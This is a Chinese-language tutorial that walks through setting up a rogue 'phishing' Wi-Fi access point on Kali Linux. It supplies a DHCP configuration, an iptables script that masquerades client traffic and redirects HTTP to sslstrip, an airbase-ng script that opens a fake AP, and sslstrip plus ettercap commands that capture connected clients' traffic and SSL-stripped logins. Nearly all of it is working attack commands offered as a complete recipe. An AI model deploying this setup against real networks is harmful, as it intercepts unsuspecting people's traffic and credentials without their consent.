主要内容:参考网上多篇文章,自己动手完全实验成功,在这里详细记录自己在kali linux下的搭建过

程,本文着重于动手实现,不涉及原理,关于原理应该会在之后的单独文章中详细探究


实验环境:

   Host 主机: Windows 8 64位

   虚拟机软件:

      VirtualBox 4.3.8(需要安装同4.3.8版本 拓展包 和 增强功能包 ,这是两个不同的包!安装增强包的时候需要安装相应的内核头文件和编译环境,这里不多做介绍)


  虚拟机:Kali Linux1.08, i386(安装系统请自行搜索相应教程)


  USB无线网卡 Ralink RT2870芯片(Kali自带驱动,若需装网卡驱动的请自行搜索解决)

 注意, 如果是仅有笔记本自带的无线网卡,是无法在虚拟机中完成这个实验的,笔记本自带的无线网卡是不能以USB设备的方式分配给虚拟机的,必须是USB无线网卡


  启动Kali Linux虚拟机,在左上角的设备-〉分配USB设备 中将无线网卡分配给虚拟机


搭建实际钓鱼AP环境:


  思路和配置:

   Kali上有一张以太网卡eth0(在虚拟机的网络配置中选择 网络地址转换(NAT) 就可以使得Kali 虚拟机通过Windows8 物理主机上网),这个是kali连上Internet的接口,而连接到我们的钓鱼AP的客户端也会通过这个接口连到Internet上。实际我们的目的是监视客户端的数据流量。

  我们的AP使用的是DHCP自动分配ip地址的方式让客户端连接。下面是DHCP服务器的简单配置:


DHCP的安装与配置

  注意: DHCP软件包的名称和配置文件存放目录和CentOS的不同


  ①.安装 dhcp3 服务器软件: $sudo apt-get install dhcp3-server


  ②.配置 dhcp3 服务配置文件/etc/dhcp3/dhcpd.conf

  #vi /etc/dhcp3/dhcpd.conf
  authoritative;
  ddns-update-style none;
  ignore client-updates;
  default-lease-time 7200;
  max-lease-time 36000;
  option domain-name "xx.cn"; //取个域名,任意取
  option domain-name-servers 202.202.96.33, 202.202.96.34; //这两个是dns服务器,填ISP给的即可
  option routers 192.168.10.1; //默认网关
  subnet 192.168.10.0 netmask 255.255.255.0 {//网段以及掩码
  range 192.168.10.10 192.168.10.120; //分配ip地址的范围
  }


  ③.更改 dhcp3 服务监听的网卡,可以修改/etc/default/dhcp3-server INTERFACES="at0" // DHCP服务器监听的网络接口,文章后面会讲到at0

  注意: 需要为DHCP服务的监听网络接口分配ip地址且必须使得该接口的地址和DHCP提供的子网在同一网段dhcp服务才能正确开启,配置好之后我们先不启动


我们要通过eth0的网卡连上Internet,所以我们的钓鱼AP进来的数据需要通过 nat 实现上网。有关

Linux防火墙iptables以及nat的详细内容,请参考鸟哥写的资料http://linux.vbird.org/linux_server/0250simple_firewall.php


iptables.sh是我写的关于iptables和nat的简单的设置,如有需要可参考一下


iptables.sh内容

#!/bin/bash
##2014-08-19
##fake ap iptables configure script
##write by netcake


#filter

#清除filter表的所有防火墙规则
iptables -F
iptables -X
iptables -Z


#设定filter表的3条链的默认 动作

iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT


#信任本机回环端口lo

iptables -A INPUT -i lo -j ACCEPT


#信任由本机建立的链接

iptables -A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT


#开启Linux内核的封包转递功能,但是这种方法开启在重启之后失效,若想固定开启封包转递功能,

#可以编辑/etc/sysctl.conf文件,找到
#
#        net.ipv4.ip_forward=1

#

#一行,取消注释

echo "1" > /proc/sys/net/ipv4/ip_forward


#nat


#清除nat表的所有防火墙规则

iptables -t nat -F
iptables -t nat -X
iptables -t nat -Z


#设定nat表的3条链的默认 动作,需要指定表名是nat,若不指定则默认是filter

iptables -t nat -P PREROUTING ACCEPT
iptables -t nat -P OUTPUT ACCEPT
iptables -t nat -P POSTROUTING ACCEPT


#Internet access,开启nat

#这条指令是将所有来自192.168.10.0/24 网段(dhcp分配给连上钓鱼AP的ip地址)经由eth0接口出去的数

#据进行网络地址转换,即将来自192.168.10.0/24 网段的数据的ip地址替换为eth0接口的ip地址

iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE


#listen on local,redirect http data,sslstrip的监听端口

#将所有目的端口为80的tcp数据镜像到本机端口10000
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


#iptables.sh脚步结束



ap.sh是开启钓鱼热点的脚本


ap.sh内容

#!/bin/bash


#实验过程中,发现往往第一次AP开启成功,后面则有时成功有时失败,后来观察发现失败的时候
#虚拟机里面 network-manager此时都不能识别无线网卡,因此先重启network-manager识别无线网卡
#后再开启AP,后面再无开启失败的问题
#重新启动network-manager识别无线网卡

/etc/init.d/network-manager restart
sleep 4


#将无线网卡调整至监听模式

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up


#启动无线网卡监听模式。此时会产生一个mon0的对应监听网络虚拟接口,

#实际上此时mon0等同于waln0
airmon-ng start wlan0
sleep 3


#指定ssid为wifi 和AP频道为6,开启AP,airbase-ng命令会产生相应的一个atX虚拟网络接口,

#在这里就是at0

airbase-ng -e wifi -c 6 mon0


#ap.sh结束



at0.sh脚本设置虚拟网络接口at0的网络参数和开启DHCP服务在at0上监听客户端的请求


at0.sh内容

#!/bin/bash

#启用at0虚拟网络接口

#配置ip为dhcp服务器配置文件中指定的网关ip(即DHCP配置文件中的option-routers)

#注意: DHCP服务的监听网络接口ip地址必须和DHCP提供的子网是在同一网段
#设置mtu,不设定也无妨
ifconfig at0 up
ifconfig at0 192.168.10.1 netmask 255.255.255.0
ifconfig at0 mtu 1500


#指定DHCP服务器使用的配置文件/etc/dhcp3/dhcpd.conf和pid文件/var/run/dhcpd.pid

#还有监听的网络接口at0
dhcpd -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd.pid at0


#启动DHCP服务,注意,任何时候修改了dhcp服务器的配置文件必须要重启DHCP服务才能生效

/etc/init.d/isc-dhcp-server start


#at0.sh结束



开启sslstrip 、ettercap 监听


    我们已经将所有的tcp 80端口的数据镜像到了10000端口,我们只需在此监听即可

    #sslstrip -l 10000


    打开另一终端,使用ettercap显示监听到的ssl加密数据

    #ettercap -Tqi at0


    注意: 开启ettercap会导致/proc/sys/net/ipv4/ip_forward 的值为0,即客户端会断开和

    Internet的链接,此时需手动修改/proc/sys/net/ipv4/ip_forward的值

            #echo 1 > /proc/sys/net/ipv4/ip_forward